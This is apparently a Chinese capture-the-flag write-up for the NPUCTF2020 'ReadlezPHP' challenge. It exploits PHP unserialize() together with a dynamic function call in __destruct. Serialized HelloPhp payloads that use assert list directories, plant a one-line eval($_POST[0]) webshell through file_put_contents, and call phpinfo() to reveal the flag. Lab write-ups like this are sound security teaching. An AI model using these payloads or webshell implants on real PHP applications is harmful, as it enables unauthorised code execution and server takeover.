> 技术文档 > [NPUCTF2020]ReadlezPHP

[NPUCTF2020]ReadlezPHP

从响应源码中可以看到

百万前端的NPU报时中心为您报时:

function runClock() {theTime = window.setTimeout(\"runClock()\", 100);var today = new Date();var display= today.toLocaleString();window.status=\"\"+display+\"大黑阔HELEN\";}runClock();

访问/time.php?source:

 a = \"Y-m-d h:i:s\"; $this->b = \"date\"; } public function __destruct(){ $a = $this->a; $b = $this->b; echo $b($a); }}$c = new HelloPhp;if(isset($_GET[\'source\'])){ highlight_file(__FILE__); die(0);}@$ppp = unserialize($_GET[\"data\"]);2025-07-25 07:13:09

反序列化漏洞,魔术方法中$a($b)应该是函数调用吧。尝试一下:

直接就成功了。

那植入一句话木马试试:

 O:8:\"HelloPhp\":2:{s:1:\"a\";s:8:\"echo 123\";s:1:\"b\";s:4:\"eval\";}

访问就出错,应该是eval不能使用。哦对eval不是函数,不能用在函数动态调用。

(补充:O:8:\"HelloPhp\":2:{s:1:\"a\";s:15:\"eval($_POST[0])\";s:1:\"b\";s:6:\"assert\";}能植入木马)

尝试一下file_get_contents(\'index.php\')发现直接返回首页了,为啥呢?

O:8:\"HelloPhp\":2:{s:1:\"a\";s:22:\"var_dump(scandir(\'.\'))\";s:1:\"b\";s:6:\"assert\";}

assert 断言检测 用于判断一个表达式是否成立,返回true or false,会执行其中的表达式

执行结果:array(4) { [0]=> string(1) \".\" [1]=> string(2) \"..\" [2]=> string(9) \"index.php\" [3]=> string(8) \"time.php\" } 2025-07-25 08:21:52

O:8:\"HelloPhp\":2:{s:1:\"a\";s:33:\"var_dump(scandir(\'../../../../\'))\";s:1:\"b\";s:6:\"assert\";}

执行结果:

array(23) { [0]=> string(1) \".\" [1]=> string(2) \"..\" [2]=> string(10) \".dockerenv\" [3]=> string(10) \"FIag_!S_it\" [4]=> string(3) \"bin\" [5]=> string(4) \"boot\" [6]=> string(3) \"dev\" [7]=> string(3) \"etc\" [8]=> string(4) \"home\" [9]=> string(3) \"lib\" [10]=> string(5) \"lib64\" [11]=> string(5) \"media\" [12]=> string(3) \"mnt\" [13]=> string(3) \"opt\" [14]=> string(4) \"proc\" [15]=> string(4) \"root\" [16]=> string(3) \"run\" [17]=> string(4) \"sbin\" [18]=> string(3) \"srv\" [19]=> string(3) \"sys\" [20]=> string(3) \"tmp\" [21]=> string(3) \"usr\" [22]=> string(3) \"var\" } 2025-07-25 08:23:46

没找到flag,尝试植入一句话木马:

O:8:\"HelloPhp\":2:{s:1:\"a\";s:66:\"file_put_contents(\'shell.php\',\'\')\";s:1:\"b\";s:6:\"assert\";}

可以看到成功了。但是用蚁剑连接后看不到任何文件。 手动传参发现网页直接出错了,不知道为啥。看一眼答案,flag居然通过phpinfo()看到。

O:8:\"HelloPhp\":2:{s:1:\"a\";s:9:\"phpinfo()\";s:1:\"b\";s:6:\"assert\";}

在Environment里面可以看到flag。

总结一下:这道题考了反序列化和动态函数调用。有几个需要注意的点,第一,eval不是函数;第二,flag可能在php配置信息中。不知道为什么这里植入一句话木马之后不能正常使用。